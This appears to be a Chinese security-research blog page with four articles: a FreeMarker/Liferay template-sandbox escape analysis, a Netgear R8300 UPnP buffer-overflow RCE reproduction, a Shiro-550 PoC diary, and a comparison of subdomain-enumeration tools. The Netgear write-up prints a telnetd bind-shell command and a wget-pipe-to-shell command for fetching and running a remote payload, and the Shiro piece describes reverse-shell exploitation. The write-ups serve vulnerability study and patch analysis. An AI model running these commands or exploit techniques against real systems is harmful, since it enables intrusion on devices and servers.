RSS Feed
更好更安全的互联网
  • 逃逸安全的模板沙箱(一)——FreeMarker(上)

    2020-11-03

    作者:DEADF1SH_CAT @ 知道创宇404实验室
    时间:2020年8月24日

    前言

    8月5日 @pwntester 联合 @Oleksandr Mirosh 发表了一个关于 Java 模板注入的BlackHat USA 2020 议题[1],议题介绍了现阶段各种 CMS 模板引擎中存在的缺陷,其中包含通用缺陷以及各个模板引擎特性造成的缺陷。由于不同模板引擎有不同语法特性,因此文章将分为系列文章进行阐述。

    笔者前期主要是对 Liferay 的 FreeMarker 引擎进行了调试分析,故本文先以 FreeMarker 为例,梳理该模板引擎 SSTI 漏洞的前世今生,同时叙述自己的 Liferay FreeMarker SSTI 漏洞踩坑历程及对 Liferay 安全机制的分析。由于涉及内容比较多,请大家耐心阅读,若是已经本身对 FreeMarker 引擎有了解,可直接跳到文章后半部分阅读。

    FreeMarker基础知识

    FreeMarker 是一款模板引擎,即一种基于模板和需要改变的数据, 并用来生成输出文本( HTML 网页,电子邮件,配置文件,源代码等)的通用工具,其模板语言为 FreeMarker Template Language (FTL)。

    image-20200807155408983

    在这里简单介绍下 FreeMarker 的几个语法,其余语法指令可自行在 FreeMarker 官方手册[2]进行查询。

    FTL指令规则

    在 FreeMarker 中,我们可以通过FTL标签来使用指令。FreeMarker 有3种 FTL 标签,这和 HTML 标签是完全类似的。

    实际上,使用标签时前面的符号 # 也可能变成 @,如果该指令是一个用户指令而不是系统内建指令时,应将 # 符号改成 @ 符号。这里主要介绍 assign 指令,主要是用于为该模板页面创建替换一个顶层变量。

    创建好的变量,可以通过插值进行调用。插值是用来给表达式插入具体值然后转换为文本(字符串),FreeMarker 的插值主要有如下两种类型:

    • 通用插值:${expr}
    • 数字格式化插值: #{expr}

    这里主要介绍通用插值,当插入的值为字符串时,将直接输出表达式结果,举个例子:

    插值仅仅可以在两种位置使用:在文本区(比如 Hello ${name}!) 和字符串表达式(比如 <#include "/footer/${company}.html">)中。

    内建函数

    FreeMarker 提供了大量的内建函数,用于拓展模板语言的功能,大大增强了模板语言的可操作性。具体用法为variable_name?method_name。然而其中也存在着一些危险的内建函数,这些函数也可以在官方文档中找到,此处不过多阐述。主要介绍两个内建函数,apinew,如果开发人员不加以限制,将造成极大危害。

    • api函数

    如果 value 本身支撑api这个特性,value?api会提供访问 value 的 API(通常为 Java API),比如value?api.someJavaMethod()

    但值得庆幸的是,api内建函数并不能随意使用,必须在配置项api_builtin_enabledtrue时才有效,而该配置在2.3.22版本之后默认为false

    • new函数

    这是用来创建一个具体实现了TemplateModel接口的变量的内建函数。在 ? 的左边可以指定一个字符串, 其值为具体实现了 TemplateModel 接口的完整类名,然后函数将会调用该类的构造方法生成一个对象并返回。

    拥有编辑模板权限的用户可以创建任意实现了 TemplateModel 接口的Java对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块,因此new函数存在很大的安全隐患。好在官方也提供了限制的方法,可以使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问(从 2.3.17版开始)。

    FreeMarker初代SSTI漏洞及安全机制

    经过前文的介绍,我们可以发现 FreeMarker 的一些特性将造成模板注入问题,在这里主要通过apinew两个内建函数进行分析。

    • api 内建函数的利用

    我们可以通过api内建函数获取类的classloader然后加载恶意类,或者通过Class.getResource的返回值来访问URI对象。URI对象包含toURLcreate方法,我们通过这两个方法创建任意URI,然后用toURL访问任意URL。

    • new 内建函数的利用

    主要是寻找实现了 TemplateModel 接口的可利用类来进行实例化。freemarker.template.utility包中存在三个符合条件的类,分别为Execute类、ObjectConstructor类、JythonRuntime类。

    当然对于这两种方式的利用,FreeMarker 也做了相应的安全措施。针对api的利用方式,设置配置项api_builtin_enabled的默认值为false。同时为了防御通过其他方式调用恶意方法,FreeMarker内置了一份危险方法名单unsafeMethods.properties[3],诸如getClassLoadernewInstance等危险方法都被禁用了,下面列出一小部分,其余请自行查阅文件。

    针对new的利用方式,上文已提到过官方提供的一种限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问。此处官方提供了三个预定义的解析器:

    • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
    • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
    • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

    当然用户自身也可以自定义解析器以拓展对危险类的限制,只需要实现TemplateClassResolver接口就好了,接下来会介绍到的 Liferay 就是通过其自定义的解析器LiferayTemplateClassResolver去构建 FreeMarker 的模板沙箱。

    Liferay FreeMarker模板引擎SSTI漏洞踩坑历程

    碰出一扇窗

    在研究这个 BlackHat 议题的过程中,我们遇到了很多问题,接下来就顺着我们的分析思路,一起探讨 Liferay 的安全机制,本次测试用的环境为 Liferay Portal CE 7.3 GA1。

    先来看看 GHSL 安全团队发布的 Liferay SSTI 漏洞通告[4]:

    Even though Liferay does a good job extending the FreeMarker sandbox with a custom ObjectWrapper (com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java) which enhances which objects can be accessed from a Template, and also disables insecure defaults such as the ?new built-in to prevent instantiation of arbitrary classes, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

    Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects.

    可以看到,给出的信息十分精简有限,但是还是能从中找到关键点。结合议题介绍和其他同类型的漏洞介绍,我们能梳理出一些关键点。

    • Exposed Object

    通告中提及了通过模板 API 暴露出大量的可访问对象,而这些对象即为 SSTI 漏洞的入口,通过这些对象的方法或者属性可以进行模板沙箱的绕过。这也是议题的一大重点,因为大多数涉及第三方模板引擎的CMS都没有对这些暴露的对象进行控制。

    • RestrictedLiferayObjectWrapper.java

    根据介绍,该自定义的ObjectWrapper拓展了FreeMarker的安全沙箱,增强了可通过模板访问的对象,同时也限制了不安全的默认配置以防止实例化任何类,比如?new方法。可以看出这是Liferay赋予模板沙箱的主要安全机制。

    可以看到,重点在于如何找到暴露出的对象,其次思考如何利用这些对象绕过Liferay的安全机制。

    我们在编辑模板时,会看到一个代码提示框。列表中的变量都是可以访问的,且无需定义,也不用实现TemplateModel接口。但该列表会受到沙箱的限制,其中有一部分对象被封禁,无法被调用。

    这些便是通过模板 API 暴露出来的一部分对象,但这是以用户视角所看到的,要是我们以运行态的视角去观察呢。既然有了暴露点,其背后肯定存在着许多未暴露出的对象。

    所以我们可以通过调试定位到一个关键对象——FreeMarkerTemplate,其本质上是一个Map<String, Object>对象。该对象不仅涵盖了上述列表中的对象,还存在着很多其他未暴露出的对象。整个FreeMarkerTemplate对象共列出了154个对象,大大拓宽了我们的利用思路。在FreeMarker引擎里,这些对象被称作为根数据模型(rootDataModel)。

    image-20200811110240319

    那么可以尝试从这154个对象中找出可利用的点,为此笔者进行了众多尝试,但由于 Liferay 健全的安全机制,全都失败了。下面是一些调试过程中发现在后续利用过程中可能有用的对象:

    接下来将会通过叙述笔者对各种利用思路的尝试,对 Liferay 中 FreeMarker 模板引擎的安全机制进行深入分析。

    “攻不破”的 Liferay FreeMarker 安全机制

    在以往我们一般是通过Class.getClassloader().loadClass(xxx)的方式加载任意类,但是在前文提及的unsafeMethods.properties中,我们可以看到java.lang.Class.getClassLoader()方法是被禁止调用的。

    这时候我们只能另辟蹊径,在 Java 官方文档中可以发现Class类有一个getProtectionDomain方法,可以返回一个ProtectionDomain对象[5]。而这个对象同时也有一个getClassLoader方法,并且ProtectionDomain.getClassLoader方法并没有被禁止调用。

    获取CLassLoader的方式有了,接下来,我们只要能够获得class对象,就可以加载任意类。但是当我们试图去获取class对象时,会发现这是行不通的,因为这会触发 Liferay 的安全机制。

    image-20200811160236287

    定位到 GHSL 团队提及的com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java文件,可以发现模板对象会经过wrap方法修饰。

    通过wrap(java.lang.Object obj)方法,用户可以传入一个Object对象,然后返回一个与之对应的TemplateModel对象,或者抛出异常。模板在语法解析的过程中会调用TemplateModel对象的get方法,而其中又会调用BeansWrapperinvokeMethod进行解析,最后会调用外部的wrap方法对获取到的对象进行包装。

    image-20200820162548125

    此处的getOuterIdentity即为TemplateModel对象指定的Wrapper。除了预定义的一些对象,其余默认使用RestrictedLiferayObjectWrapper进行解析。

    回到RestrictedLiferayObjectWrapper,该包装类主要的继承关系为RestrictedLiferayObjectWrapper->LiferayObjectWrapper->DefaultObjectWrapper->BeansWrapper,在wrap的执行过程中会逐步调用父类的wrap方法,那么先来分析RestrictedLiferayObjectWrapperwrap方法。

    image-20200811161729512

    wrap方法中会先通过getClass()方法获得class对象,然后调用_checkClassIsRestricted方法,进行黑名单类的判定。

    image-20200811160917074

    此处_allowedClassNames_restrictedClasses_restrictedMethodNames是在com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration中被预先定义的黑白名单,其中_allowedClassNames默认为空。对比一下7.3.0-GA1和7.3.2-GA3内置的黑名单:

    • 7.3.0-GA1
    • 7.3.2-GA3

    已修复的7.3.2版本增加了许多黑名单类,而这些黑名单类就是绕过沙箱的重点。如何利用这些黑名单中提及的类,进行模板沙箱的绕过,我们放在下篇文章进行阐述,这里暂不讨论。

    我们可以发现java.lang.Class类已被拉黑,也就是说模板解析的过程中不能出现Class对象。但是,针对这种过滤方式,依旧存在绕过的可能性。

    GHSL 安全团队在 JinJava 的 SSTI 漏洞通告提及到了一个利用方式:

    JinJava does a great job preventing access to Class instances. It will prevent any access to a Class property or invocation of any methods returning a Class instance. However, it does not prevent Array or Map accesses returning a Class instance. Therefore, it should be possible to get an instance of Class if we find a method returning Class[] or Map<?, Class>.

    既然Class对象被封禁,那么我们可以考虑通过Class[]进行绕过,因为黑名单机制是通过getClass方法进行判断的,而[Ljava.lang.Class并不在黑名单内。另外,针对Map<?,Class>的利用方式主要是通过get方法获取到Class对象,而不是通过getClass方法,主要是用于拓展获得Class对象的途径。因为需要自行寻找符合条件的方法,所以这种方式仍然具有一定的局限性,但是相信这个 trick 在某些场景下的利用能够大放光彩。

    经过一番搜寻,暂未在代码中寻找到合适的利用类,因此通过Class对象获取ClassLoader的思路宣告失败。此外,实质上ClassLoader也是被加入到黑名单中的。因此就算我们能从模板上下文中直接提取出ClassLoader对象,避免直接通过Class获取,也无法操控到ClassLoader对象。

    既然加载任意类的思路已经被 Liferay 的安全机制防住,我们只能换个思路——寻找一些可被利用的恶意类或者危险方法。此处主要有两个思路,一个是通过new内建函数实例化恶意类,另外一个就是上文提及的JSONFactoryImpl对象

    文章开头提到过三种利用方式,但是由于 Liferay 自定义解析器的存在,均无法再被利用。定位到com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver这个类,重点关注其resolve方法。可以看见,在代码层直接封禁了ExecuteObjectConstructor的实例化,其次又进行了黑名单类的判定。此处restrictedClassNames跟上文所用的黑名单一致。

    image-20200811180258891

    这时候可能我们会想到,只要另外找一个实现TemplateModel 接口并且不在黑名单内的恶意类(比如JythonRuntime类)就可以成功绕过黑名单。然而 Liferay 的安全机制并没有这么简单,继续往下看。resolve后半部分进行了白名单校验,而这里的allowedClasseNames在配置里面默认为空,因此就算绕过了黑名单的限制,没有白名单的庇护也是无济于事。

    image-20200811181023948

    黑白名单的配合,直接宣告了new内建函数利用思路的惨败。不过,在这个过程中,我们还发现了一个有趣的东西。

    假设我们拥有控制白名单的权限,但是对于JythonRuntime类的利用又有环境的限制,这时候只能寻找其他的利用类。在调试过程中,我们注意到一个类——com.liferay.portal.template.freemarker.internal.LiferayObjectConstructor这个类的结构跟ObjectConstructor极其相似,也同样拥有exec方法,且参数可控。加入白名单测试弹计算器命指令,可以正常执行。

    image-20200811184412017

    虽然此处受白名单限制,利用难度较高。但是从另外的角度来看,LiferayObjectConstructor可以说是ObjectConstructor的复制品,在某些场景下可能会起到关键作用。

    回归正题,此时我们只剩下一条思路——JSONFactoryImpl对象。不难发现,这个对象拥有着一系列与JSON有关的方法,其中包括serializedeserialize方法。

    重点关注其deserialize方法,因为我们可以控制传入的JSON字符串,从而反序列化出我们需要的对象。此处_jsonSerializerLiferayJSONSerializer对象(继承自JSONSerializer类)。

    image-20200813103859054

    跟进LiferayJSONSerializer父类的fromJSON方法,发现其中又调用了unmarshall方法。

    image-20200820175314583

    unmarshall方法中会调用getClassFromHint方法,不过该方法在子类被重写了。

    image-20200813105953450

    跟进LiferayJSONSerializer.getClassFromHint方法,方法中会先进行javaClass字段的判断,如果类不在白名单里就移除serializable字段里的值,然后放进map字段中,最后将类名更改为java.util.HashMap如果通过白名单校验,就会通过contextName字段的值去指定ClassLoader用于加载javaClass字段指定的类。最后在方法末尾会执行super.getClassFromHint(object),回调父类的getClassFromHint的方法。

    image-20200813140849709

    我们回到unmarshall方法,可以看到在方法末尾处会再次调用unmarshall方法,实质上这是一个递归解析 JSON 字符串的过程。这里有个getSerializer方法,主要是针对不同的class获取相应的序列器,这里不过多阐述。

    image-20200813145730352

    因为递归调用的因素,每次都会进行类名的白名单判定。而白名单在portal-impl.jar里的portal.properties被预先定义:

    可以看到,白名单成功限制了用户通过 JSON 反序列化任意类的操作。虽然白名单类拥有一个register方法,可自定义添加白名单类。但 Liferay 也早已意识到这一点,为了防止该类被恶意操控,将com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist添加进黑名单。

    至此,利用思路在 Liferay 的安全机制下全部惨败。Liferay 健全的黑白名单机制,从根源上限制了大多数攻击思路的利用,可谓是“攻不破”的铜墙铁壁。但是,在众多安全研究人员的猛烈进攻下,该安全机制暴露出一个弱点。通过这个弱点可一举击破整个安全机制,从内部瓦解整个防线。而关于这个弱点的阐述及其利用,我们下一篇文章见。

    References

    [1] Room for Escape: Scribbling Outside the Lines of Template Security

    https://www.blackhat.com/us-20/briefings/schedule/#room-for-escape-scribbling-outside-the-lines-of-template-security-20292

    [2] FreeMarker Java Template Engine

    https://freemarker.apache.org/

    [3] FreeMarker unsafeMethods.properties

    https://github.com/apache/freemarker/blob/2.3-gae/src/main/resources/freemarker/ext/beans/unsafeMethods.properties

    [4] GHSL-2020-043: Server-side template injection in Liferay - CVE-2020-13445

    https://securitylab.github.com/advutiliisories/GHSL-2020-043-liferay_ce

    [5] ProtectionDomain (Java Platform SE 8 )

    https://docs.oracle.com/javase/8/docs/api/index.html?java/security/ProtectionDomain.html

    [6] In-depth Freemarker Template Injection

    https://ackcent.com/blog/in-depth-freemarker-template-injection/

    [7] FreeMarker模板注入实现远程命令执行

    https://www.cnblogs.com/Eleven-Liu/p/12747908.html

    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1304/

    作者:江 | Categories:技术分享 | Tags:
  • Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现

    2020-11-03

    作者:fenix@知道创宇404实验室
    时间:2020年8月25日

    1.前言

    R8300 是 Netgear 旗下的一款三频无线路由,主要在北美发售,官方售价 $229.99。

    2020 年 7 月 31 日,Netgear 官方发布安全公告,在更新版固件 1.0.2.134 中修复了 R8300 的一个未授权 RCE 漏洞【1】。2020 年 8 月 18 日,SSD Secure Disclosure 上公开了该漏洞的细节及 EXP【2】

    该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。

    回顾了下整个复现流程还是很有趣的,特此记录。

    2.环境搭建

    下面先搭建漏洞调试环境。在有设备的情况下,有多种直接获取系统 shell 的方式,如:

    1. 硬件调试接口,如:UART
    2. 历史 RCE 漏洞,如:NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞【3】
    3. 设备自身的后门,Unlocking the Netgear Telnet Console【4】
    4. 破解固件检验算法,开启 telnet 或植入反连程序。

    不幸的是,没有设备...

    理论上,只要 CPU 指令集对的上,就可以跑起来,所以我们还可以利用手头的树莓派、路由器摄像头的开发板等来运行。最后一个就是基于 QEMU 的指令翻译,可以在现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。

    下载固件

    Netgear 还是很良心的,在官网提供了历史固件下载。

    下载地址:【5】

    下载的固件 md5sum 如下:

    binwalk 可以正确识别。

    使用 binwalk -Me 提取出 Squashfs 文件系统,漏洞程序是 ARMv5 架构,动态链接,且去除了符号表。

    QEMU 模拟

    在基于 QEMU 的固件模拟这块,网上也有一些开源的平台,如比较出名的 firmadyne【6】、ARM-X【7】。不过相比于使用这种集成环境,我更倾向于自己动手,精简但够用。

    相应的技巧在之前的文章 《Vivotek 摄像头远程栈溢出漏洞分析及利用》【8】也有提及,步骤大同小异。

    在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:

    用户名和密码都是 root,为虚拟机分配 IP:

    这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。

    修复运行依赖

    直接运行没有任何报错就退出了,服务也没启动。

    经过调试发现是打开文件失败。

    手动创建 /tmp/var/run 目录,再次运行提示缺少 /dev/nvram

    NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 LD_PRELOAD 劫持以下函数符号。

    网上找到一个现成的实现:【9】,交叉编译:

    还是报错,找不到 dlsym 的符号。之所以会用到 dlsym,是因为该库的实现者还同时 hook 了 systemfopenopen 等函数,这对于修复文件缺失依赖,查找命令注入漏洞大有裨益。

    /lib/libdl.so.0 导出了该符号。

    可以跑起来了,不过由于缺少配置信息,还是会异常退出。接下来要做的就是根据上面的日志补全配置信息,其实特别希望能有一台 R8300,导出里面的 nvram 配置...

    简单举个例子,upnpd_debug_level 是控制日志级别的,sub_B813() 是输出日志的函数,只要 upnpd_debug_level > sub_B813() 的第一个参数,就可以在终端输出日志。

    下面分享一份 nvram 配置,至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。

    upnpd 服务成功运行!

    3.漏洞分析

    该漏洞的原理很简单,使用 strcpy() 拷贝导致的缓冲区溢出,来看看调用流程。

    在 sub_1D020() 中使用 recvfrom() 从套接字接受最大长度 0x1fff 的 UDP 报文数据。

    在 sub_25E04() 中调用 strcpy() 将以上数据拷贝到大小为 0x634 - 0x58 = 0x5dc 的 buffer。

    4.利用分析

    通过 checksec 可知程序本身只开了 NX 保护,从原漏洞详情得知 R8300 上开了 ASLR。

    很容易构造出可控 PC 的 payload,唯一需要注意的是栈上有个 v39 的指针 v41,覆盖的时候将其指向有效地址即可正常返回。

    显然,R4 - R11 也是可控的,思考一下目前的情况:

    1. 开了 NX 不能用 shellcode
    2. 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和 gadget
    3. strcpy() 函数导致的溢出,payload 中不能包含 \x00 字符。

    其实可控 PC 后已经可以干很多事了,upnpd 内包含大量 system 函数调用,比如 reboot

    下面探讨下更为 general 的 RCE 利用,一般像这种 ROP 的 payload 中包含 \x00,覆盖返回地址的payload 又不能包含 \x00,就要想办法提前将 ROP payload 注入目标内存。

    比如,利用内存未初始化问题,构造如下 PoC,每个 payload 前添加 \x00 防止程序崩溃。

    在漏洞点下断点,

    两次拷贝完成后,看下内存布局:

    可以看到,由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。

    借用原作者的一张图,利用原理如下:

    关于 ROP,使用 strcpy 调用在 bss 上拼接出命令字符串,并调整 R0 指向这段内存,然后跳转 system 执行即可。

    原作者构造的 system("telnetd -l /bin/sh -p 9999& ") 绑定型 shell。

    经过分析,我发现可以构造 system("wget http://{reverse_ip}:{reverse_port} -O-|/bin/sh") 调用,从而无限制任意命令执行。

    构造的关键在于下面这张表。

    发送 payload,通过 hook 的日志可以看到,ROP 利用链按照预期工作,可以无限制远程命令执行。 (由于模拟环境的问题,wget 命令运行段错误了...)

    5.补丁分析

    在更新版固件 V1.0.2.134 中,用 strncpy() 代替 strcpy(),限制了拷贝长度为 0x5db,正好是 buffer 长度减 1。

    补丁中还特意用 memset() 初始化了 buffer。这是由于 strncpy() 在拷贝时,如果 n < src 的长度,只是将 src 的前 n 个字符复制到 dest 的前 n 个字符,不会自动添加 \x00,也就是结果 dest 不包括 \x00,需要再手动添加一个 \x00;如果 src 的长度小于 n 个字节,则以\x00 填充 dest 直到复制完 n 个字节。

    结合上面的 RCE 利用过程,可见申请内存之后及时初始化是个很好的编码习惯,也能一定程度上避免很多安全问题。

    6.影响范围

    通过 ZoomEye 网络空间搜索引擎对关键字 "SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0" 进行搜索,共发现 18889 条 Netgear UPnP 服务的 IP 历史记录,主要分布在美国【10】。其中是 R8300 这个型号的会受到该漏洞影响。

    7.其他

    说句题外话,由于协议设计缺陷,历史上 UPnP 也被多次曝出漏洞,比如经典的 SSDP 反射放大用来 DDoS 的问题。

    在我们的模拟环境中进行测试,发送 132 bytes 的 ST: ssdp:all M-SEARCH 查询请求 ,服务器响应了 4063 bytes 的数据,放大倍率高达 30.8。

    因此,建议网络管理员禁止 SSDP UDP 1900 端口的入站请求。

    8.相关链接

    【1】: Netgear 官方安全公告

    https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211

    【2】: 漏洞详情

    https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/

    【3】: NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞

    https://www.seebug.org/vuldb/ssvid-98253

    【4】: Unlocking the Netgear Telnet Console

    https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500

    【5】: 固件下载

    https://www.netgear.com/support/product/R8300.aspx#download

    【6】: firmadyne

    https://github.com/firmadyne/firmadyne

    【7】: ARM-X

    https://github.com/therealsaumil/armx

    【8】: Vivotek 摄像头远程栈溢出漏洞分析及利用

    https://paper.seebug.org/480/

    【9】: nvram hook 库

    https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

    【10】: ZoomEye 搜索

    https://www.zoomeye.org/searchResult?q=%22SERVER%3A%20Linux%2F2.6.12%2C%20UPnP%2F1.0%2C%20NETGEAR-UPNP%2F1.0%22


    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1311/

    作者:江 | Categories:技术分享 | Tags:
  • Shiro-550 PoC 编写日记

    2020-11-03

    作者:w7ay @ 知道创宇404实验室
    时间:2020年8月11日

    深刻认识到不会java搞这类poc的困难,只能做一个无情的搬砖机器。

    目标是编写Pocsuite3 python版本的Shiro-550 PoC,最好不要依赖其他东西。

    本文没有新奇的观点,只是记录日常 =_=

    Shiro识别

    看到@pmiaowu开源的burp shiro检测插件 https://github.com/pmiaowu/BurpShiroPassiveScan

    image-20200803161651145

    看了下源码,主要有三种判断方式

    1. 原始cookie key带了rememberMe
    2. 原始请求返回cookie中value带有deleteMe
    3. 以上条件都不满足时,发送cookierememberMe=1

    检测Shiro key

    l1nk3r师傅 的 基于原生shiro框架 检测方法

    简述下如何不依赖java环境来检测poc。

    可得到生成的反序列二进制payload(最好使用jdk6来编译,能够兼容之后的版本)

    将这段payload内置到poc里即可。

    通过python函数生成最终检测payload

    其中key是shiro需要检测的key,bb是生成的payload,当key正确时,不会返回deleteMe

    image-20200803162703060
    image-20200803162647250

    回显payload

    一开始看的是宽字节安全的burp插件:https://github.com/potats0/shiroPoc

    但在本地环境下测试没有成功,之后猜测可能是gadgets或java版本的问题

    看他的exploitType代码

    image-20200810141000382

    类似于java的汇编代码?确认过眼神是看不懂的。

    然后在GitHub上找到一个开源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py

    它将gadget base64之后硬编码到了python中,正好符合我的需求。

    image-20200810141813620

    经过测试用CommonsCollections1就可以在我本地环境复现了。

    到这里就可以写poc了,但我还想看看这些硬编码的payload是怎么来的。

    更细节

    那些硬编码的文件是反序列化的文件,我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过CA FE BA BE(cafebaby)来确定class的特征,将它和后面的数据保存为class文件。

    image-20200807175522519

    然后拖到idea反编译后就能看到源码了

    就算解出了源码,看的也不是太懂,可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。

    没想到写完poc的第二天,xray的作者就给出检测细节和源码。

    通过比对源码:https://github.com/frohoff/ysoserial/compare/master...zema1:master

    可以找到tomcat的全版本回显的payload

    至于为什么要那么写,可能也是因为某种魔法,我暂时还不明白。

    和一些特别的链

    ysoserial 中的 CommonsCollections4 只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。

    PoC演示

    一路下来迷迷糊糊啥也不明白真实太菜了,只能在一些大佬的肩膀上搬搬砖这样子了。

    PoC集成了识别,检测key,命令执行回显以及shell反弹的操作。

    检测识别key

    image-20200810153335261

    攻击模式执行任意命令

    image-20200810153612164

    shell反连

    image-20200810153921731

    最后也顺便给w13scan - 被动扫描器增加了一份Shiro插件。

    image-20200810154343285

    感谢看完全程,不说了,学习java去。

    image-20200810154429552

    Paper

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1290/

    作者:江 | Categories:技术分享 | Tags:
  • 从代码角度看各类子域名收集工具

    2020-11-03

    作者:w7ay @ 知道创宇404实验室
    时间:2020年8月12日

    开源的域名收集工具有很多,本文会从代码的角度去看各类开源的域名收集工具的技术特点,以及各有哪些优缺点,来帮助大家,在合适的时候选择合适的利用工具。

    这里选取了常用和知名的工具,包括subDomainBrute,Sublist3r,ESD,OneForAll,dnsprobe,subfinder,shuffledns,massdns

    subDomainBrute

    Github:https://github.com/lijiejie/subDomainsBrute

    最早使用是lijiejie的子域名爆破工具,也是学习python时最早看的源码。

    看了下commit,最早发布是在2015年,另外最近的一次更新使它支持了Python3。

    subDomainBrute是通过纯DNS爆破来找到子域名,为了最大提升效率,subDomainBrute用协程+多进程的方式进行爆破。

    对于python3,使用asyncio,aiodns库进行异步dns的发包,但对于python2,使用的是dnspython gevent库,应该是历史原因导致的。

    Dns server test

    对于爆破dns来说,有足够多且快的dns server是关键(爆破一段时间后,可能会有dns不再回应请求)

    可以自己配置dns server在dict/dns_servers.txt文件中,subDomainBrute会在程序启动时测试DNS。

    首先测试dns server

    image-20200811164059789

    测试 public-dns-a.baidu.com 返回 180.76.76.76 是正确的dns

    测试 test.bad.dns.lijiejie.com 抛出异常则为正确的dns,如果有返回结果,则不正常。

    泛域名

    subDomainBrute没有泛域名处理,如果存在泛域名解析,程序就会直接退出。

    image-20200811164721033

    Sublist3r

    Github https://github.com/aboul3la/Sublist3r

    Sublist3r也是2015年发布的,在暴力破解的基础上还会通过接口枚举来获取域名。

    它的爆破模块用的是 https://github.com/TheRook/subbrute

    SubBrute是一个社区驱动的项目,旨在创建最快,最准确的子域枚举工具。SubBrute背后的神奇之处在于它使用开放式解析器作为一种代理来规避DNS速率限制(https://www.us-cert.gov/ncas/alerts/TA13-088A)。该设计还提供了一层匿名性,因为SubBrute不会将流量直接发送到目标的名称服务器。

    提供了一层匿名性 => 用很多代理DNS来进行DNS请求

    它只有多进程来运行爆破程序,如果在Windows下,它只会使用线程

    可能是觉得在Windows下难以操控多线程吧。

    但这样一来它的效率就太慢了。

    它支持的搜索引擎

    用随机数来判断是否泛解析

    同样它也不支持泛解析的支持。

    唯一有优势的就是它能作为一个python包存在,通过pip就能快速安装使用,或者把它集成在代码中。

    ESD

    Github:https://github.com/FeeiCN/ESD

    相比于的暴力收集手段,esd在很多方面有独特的想法。

    支持泛解析域名

    基于RSC(响应相似度对比)技术对泛解析域名进行枚举(受网络质量、网站带宽等影响,速度会比较慢)

    基于aioHTTP获取一个不存在子域名的响应内容,并将其和字典子域名响应进行相似度比对。 超过阈值则说明是同个页面,否则则为可用子域名,并对最终子域名再次进行响应相似度对比。

    更快的速度

    基于AsyncIO异步协程技术对域名进行枚举(受网络和DNS服务器影响会导致扫描速度小幅波动,基本在250秒以内)

    基于AsyncIO+aioDNS将比传统多进程/多线程/gevent模式快50%以上。 通过扫描qq.com,共170083条规则,找到1913个域名,耗时163秒左右,平均1000+条/秒

    更全的字典

    融合各类字典,去重后共170083条子域名字典

    • 通用字典
      • 单字母、单字母+单数字、双字母、双字母+单数字、双字母+双数字、三字母、四字母
      • 单数字、双数字、三数字
    • 域名解析商公布使用最多的子域名
      • DNSPod: dnspod-top2000-sub-domains.txt
    • 其它域名爆破工具字典
      • subbrute: names_small.txt
      • subDomainsBrute: subnames_full.txt

    更多的收集渠道

    • 收集DNSPod接口泄露的子域名
    • 收集页面响应内容中出现的子域名
    • 收集跳转过程中的子域名
    • 收集HTTPS证书透明度子域名
    • 收集DNS域传送子域名
    • 收集搜索引擎子域名
    • 收集zoomeye、censys、fofa、shodan的接口结果

    DNS服务器

    • 解决各家DNS服务商对于网络线路出口判定不一致问题
    • 解决各家DNS服务商缓存时间不一致问题
    • 解决随机DNS问题,比如fliggy.com、plu.cn等
    • 根据网络情况自动剔除无效DNS,提高枚举成功率

    很多实现都值得学习,这里贴出一些值得学习的代码。

    域传输漏洞实现

    HTTPS证书透明度获取子域名

    纯socket实现的check dns server

    基于文本相似度过滤泛解析域名

    这个代码跨度很大,下面是简化版本

    其他

